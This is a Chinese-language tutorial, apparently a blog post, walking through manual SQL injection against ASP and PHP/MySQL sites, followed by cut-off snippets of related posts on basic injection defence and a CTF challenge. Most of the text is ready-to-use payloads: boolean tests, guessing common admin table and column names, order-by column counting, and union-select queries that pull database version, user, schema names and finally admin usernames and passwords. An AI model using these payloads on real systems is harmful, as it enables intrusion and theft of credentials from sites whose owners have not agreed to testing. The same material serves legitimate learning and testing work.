sql注入思路:找注入點 -> 判斷是否為注入點 -> 猜表名 -> 猜欄位名 -> 爆出字段內容
那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例:
***.***.xx.xx/show.asp?id=1
//其中id即為引數,如果此url用sql語句來表示的話:則向資料庫中進行查詢的語句為
//select * from show where id=1;
測試語句:
***.***.xx.xx/show.asp?id=1 and 1=1 返回正常介面
***.***.xx.xx/show.asp?id=1 and 1=2 返回異常
說明此sql語句已被帶入到資料庫執行,因此存在注入。
***.***.xx.xx/show.asp?id=1 and exists(select * from admin)
and 連線exists()函式用來檢查是否存在admin表。回車後,如果頁面顯示正常則說明存在admin表
一些常見的表名:admin user adminuser manage manager manage_user
***.***.xx.xx/show.asp?id=1 and exists(select username,password from admin)
一些常見的欄位名:
賬戶:name username user_name admin adminuser admin_user admin_username adminname
密碼:password pass passwd userpass user_pass pwd userpwd admin_pwd
猜欄位名時可以找出後台管理登陸介面,通過檢視源**,可以根據name="username",根據name的value值獲取欄位名。
猜欄位內容時,需要用到聯合查詢。聯合查詢的使用前提是前後字段數必須保持一致,否則就會報錯。
猜字段數:***.***.xx.xx/show.asp?id=1 order by 5 //一般從大到小猜
聯合查詢:***.***.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin
頁面可能回顯數字2,3
則用可能的欄位名代替2,3,爆出字段內容
***.***.xx.xx/show.asp?id=1 union select 1,username,password,4,5 from admin
既可猜解字段數量,又可獲得可以顯示內容的字段
***.***.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin
挨個從1開始試
php+mysql 不需要我們去猜各種表或者欄位名,因為在information_schema中儲存著使用者在mysql中建立的其他所有資料庫的資訊。實際上,在對此種型別的**進行注入時,主要是針對information_schema資料庫進行操作。
檢視test資料庫中包含了哪些表:
select table_name from information_schema.tables where table_schema="test";
table_name:test資料庫中所有的表名
table_schema:資料庫名
檢視hack資料表中包含了哪些字段:
select column_name from information_schema.columns where table_name="hack"
column_name:表中所有的欄位名
sql注入思路:找注入點 -> 判斷是否為注入點 -> 猜欄位數量 -> 判斷可顯字段 -> 爆出當前版本、當前使用者、當前資料庫字段內容 -> 爆出資料表
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,2,3,4,5
此處需要注意的是:php+mysql不需要指定資料表名,直接猜出字段數量再select 1,2,3,4,5就可以了
另外還需要注意的是:and 1=2是為了只顯示union select後的查詢內容,而不顯示前面的內容
如果回顯2,3
***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,version(),3,4,5
version()的目的在於判斷是否為5.0以上版本,因為只有5.0以上版本的mysql才會有元資料庫
***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,2,user(),4,5
user()顯示當前使用者
***.***.xx.xx/show.asp?id=1 and 1=2 union select 1,2,database(),4,5
database()顯示當前資料庫
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="test";
在此說明一下,group_concat()可以顯示欄位中的所有內容
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="test";
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"
***.***.xx.xx/show.php?id=1 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
unhex(hex())解決**編碼不一致的問題,進行編碼轉換
簡單sql注入防範
1 判斷資料 2 對提交過來的資料,進行判斷 a 字元型,通過下面函式過濾 function checkstr str if isnull str then checkstr exit function end if str replace str,chr 0 checkstr replace st...
簡單防sql注入
一 防止文字框注入 js html 只能輸入數字和字母 keyup return antisqlvalid this 二 防止url注入 在global檔案裡裡加入 if request.querystring null if request.form.count 0 else if s3 s1 三...
CTF Web簡單的SQL注入
慢慢開始做ctf吧。題目鏈結 我的解題過程 題目就是sql注入,先嘗試簡單的sql注入方式 一般的sql語句是 sql select from where 字段 常規注入 t or 1 1 t or 1 1 輸進去有了輸出,但沒有我們需要的flag mysql中所有表都存在information s...